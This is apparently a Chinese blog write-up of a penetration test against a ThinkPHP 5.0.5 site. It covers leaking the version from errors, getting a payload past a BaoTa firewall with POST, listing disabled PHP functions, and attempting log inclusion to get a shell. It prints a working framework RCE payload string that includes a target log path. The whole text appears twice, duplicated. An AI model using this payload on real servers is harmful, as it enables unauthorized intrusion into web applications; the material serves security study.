一次TP测试

223 阅读2分钟

一、简单的信息收集

尝试路径报错,获取目标版本和配置信息。

版本为5.0.5,开启debug。

点击获取学习资料
1.2000多本网络安全系列电子书
2.网络安全标准题库资料
3.项目源码
4.网络安全基础入门、Linux、web安全、攻防方面的视频
5.网络安全学习路线图

 

直接执行payload,宝塔拦截

尝试post执行paylaod

成功执行,php5的assert默认存在代码执行,php7默认不存在。

禁用函数

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

 

不能直接执行命令,尝试日志包含和session包含拿shell。

二、日志包含尝试寻找日志路径配合之前路径报错获取的根路径。

不能直接执行命令,尝试日志包含和session包含拿shell。

二、日志包含尝试寻找日志路径配合之前路径报错获取的根路径。

 对日志进行包含

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">_method=__construct&method=get&filter=think__include_file&get[]=/www/wwwroot/taizi/runtime/log/202110/28.log
</pre>

 

简单看一下访问记录是否能够写入日志,访问

https://example.com/phpinfo

可以正常写入

 

但是在写入函数的时候被拦截

https://example.com/phpinfo()

一、简单的信息收集

尝试路径报错,获取目标版本和配置信息。

版本为5.0.5,开启debug。

点击获取学习资料
1.2000多本网络安全系列电子书
2.网络安全标准题库资料
3.项目源码
4.网络安全基础入门、Linux、web安全、攻防方面的视频
5.网络安全学习路线图

 

直接执行payload,宝塔拦截

尝试post执行paylaod

成功执行,php5的assert默认存在代码执行,php7默认不存在。

禁用函数

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

 

不能直接执行命令,尝试日志包含和session包含拿shell。

二、日志包含尝试寻找日志路径配合之前路径报错获取的根路径。

不能直接执行命令,尝试日志包含和session包含拿shell。

二、日志包含尝试寻找日志路径配合之前路径报错获取的根路径。

 对日志进行包含

<pre style="padding: 16px; font: 12.75px / 1.6 Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; word-break: normal; overflow-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; overflow: auto;">_method=__construct&method=get&filter=think__include_file&get[]=/www/wwwroot/taizi/runtime/log/202110/28.log
</pre>

 

简单看一下访问记录是否能够写入日志,访问

https://example.com/phpinfo

可以正常写入

 

但是在写入函数的时候被拦截

https://example.com/phpinfo()